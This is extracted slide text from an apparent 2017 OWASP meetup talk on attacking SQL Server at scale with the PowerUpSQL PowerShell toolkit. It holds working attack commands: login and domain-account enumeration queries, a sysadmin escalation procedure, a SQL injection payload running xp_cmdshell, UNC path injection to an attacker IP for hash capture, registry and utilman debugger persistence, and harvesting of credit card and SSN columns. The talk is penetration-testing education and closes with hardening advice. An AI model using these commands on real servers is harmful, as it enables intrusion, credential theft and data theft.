Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 26: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 27: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

